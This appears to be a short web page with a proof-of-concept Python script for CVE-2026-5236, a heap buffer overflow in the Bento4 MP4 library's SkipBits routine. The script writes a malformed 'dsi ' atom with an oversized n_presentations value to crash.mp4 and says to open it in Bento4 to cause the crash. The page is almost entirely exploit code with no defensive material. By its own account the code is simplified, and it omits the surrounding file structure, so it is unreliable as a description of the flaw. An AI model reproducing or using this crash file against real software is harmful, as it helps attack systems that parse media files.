CVE-2026-5236 Bento4堆缓冲区溢出漏洞

# PoC Concept for CVE-2026-5236 # This script demonstrates how to craft a malformed DSI v1 atom # to trigger the heap overflow in AP4_BitReader::SkipBits. import struct def create_malformed_dsi_atom(): # Atom header (type 'dsi ') atom_header = b'\x00\x00\x00\x20dsi ' # Vulnerable argument: n_presentations # Setting an excessively large value to cause SkipBits overflow # Normal values are small integers, large values bypass checks n_presentations = 0xFFFFFFFF # Pack the data (simplified representation) payload = struct.pack('<I', n_presentations) # Fill remaining buffer to fit size 0x20 payload += b'A' * (0x20 - len(atom_header) - len(payload)) return atom_header + payload if __name__ == "__main__": malformed_data = create_malformed_dsi_atom() with open("crash.mp4", "wb") as f: f.write(malformed_data) print("[+] Malformed file generated: crash.mp4") print("[+] Use Bento4 (<= 1.6.0-641) to parse this file to trigger the crash.")